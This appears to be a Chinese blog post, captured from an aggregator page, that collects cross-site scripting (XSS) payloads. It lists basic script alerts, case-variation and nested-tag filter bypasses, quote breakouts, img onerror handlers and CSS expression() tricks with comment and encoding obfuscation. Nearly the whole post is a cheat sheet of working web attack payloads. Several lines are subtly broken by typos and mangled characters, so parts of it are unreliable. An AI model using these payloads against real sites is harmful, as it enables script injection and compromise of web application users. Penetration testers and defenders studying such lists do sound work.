当前位置:网站首页>xss-收集常用的代码
xss-收集常用的代码
2022-07-25 22:21:00 【常家壮】
最长用的肯定是:
<script>alert("xss")</script>
DOM型一般用
<a href='#' onclick="alert(1111)">Click to see?</a>
大小写绕过
'"><sCrIpT>alert(63252)</sCrIpT>
过滤script绕过
<scr<script>ipt>alert("XXSSSS")</scr</script>ipt>
htmlentities()没有过滤单引号,直接用单引号绕过
';alert('xss');'
构造js绕过
</script><script>alert('xss')</script>
收集的其它代码
<img scr=javascript:alert("xss")></img>
http://www.example.com/MyApp.aspx?myvar= "></XSS/*-*/STYLE=xss:e/**/xpression(alert('XSS'))>
<IFRAME SRC=javascript:alert('test')></IFRAME>
" οnclick="alert(1)"
<img scr="javascript: alert(/xss/)></img>
(?用tab键弄出来的空格)
<img scr="javas????cript:alert(/xss/)" width=150></img>
<img scr="#" onerror=alert(/xss/)></img>
<img scr="#" style="xss:expression(alert(/xss/));"></img>
(/**/ 表示注释)
<img scr="#"/* */onerror=alert(/xss/) width=150></img>
<img src=vbscript:msgbox ("xss")></img>
<style> input {
left:expression (alert('xss'))}</style>
<div style={
left:expression (alert('xss'))}></div>
<div style={
left:exp/* */ression (alert('xss'))}></div>
<div style={
left:\0065\0078ression (alert('xss'))}></div>
html 实体 <div style={
left:&#x0065;xpression (alert('xss'))}></div>
unicode <div style="{left:expRessioN (alert('xss'))}">
收集中不定时更新……
边栏推荐
- MySQL - subquery - column subquery (multi row subquery)
- 什么是分区分桶?
- 对需求的内容进行jieba分词并按词频排序输出excel文档
- Call of addition, subtraction, multiplication and division of integer type only
- Leetcode 106. 从中序与后序遍历序列构造二叉树
- Tfrecord write and read
- SQL basic statement DQL select and extract DML insert delete
- 3dslicer importing medical image data
- Nuclear power plants strive to maintain safety in the heat wave sweeping Europe
- [leetcode] 502.ipo (difficult)
猜你喜欢

什么是分区分桶?

According to the use and configuration of data permissions in the open source framework

ThreadLocal 总结(未完待续)

Jenkins+svn configuration

『Skywalking』. Net core fast access distributed link tracking platform

Having met a tester with three years' experience in Tencent, I saw the real test ceiling

What is partition and barrel division?

What have I experienced to become a harder tester than development?

Build commercial projects based on ruoyi framework

3day
随机推荐
Common source code for ArcGIS development
对需求的内容进行jieba分词并按词频排序输出excel文档
什么是类加载?类加载的过程?
Ffmpeg plays audio and video, time_ Base solves the problem of audio synchronization and SDL renders the picture
QML module not found
Fill the whole square with the float property
3dslicer importing medical image data
How is it most convenient to open an account for stock speculation? Is it safe for online account managers to open an account
Leetcode 106. 从中序与后序遍历序列构造二叉树
ThreadLocal summary (to be continued)
3dslicer introduction and installation tutorial
Interpretation of the source code of all logging systems in XXL job (line by line source code interpretation)
Mitsubishi FX PLC free port RS command realizes Modbus Communication
JSP nine built-in objects
Get together for ten years, tell your story, millions of gifts are waiting for you
6-17 vulnerability exploitation - deserialization remote command execution vulnerability
如何将一个域名解析到多个IP地址?
Playwright tutorial (II) suitable for Xiaobai
Whether the five distribution methods will produce internal fragments and external fragments
C language: random generated number + selective sorting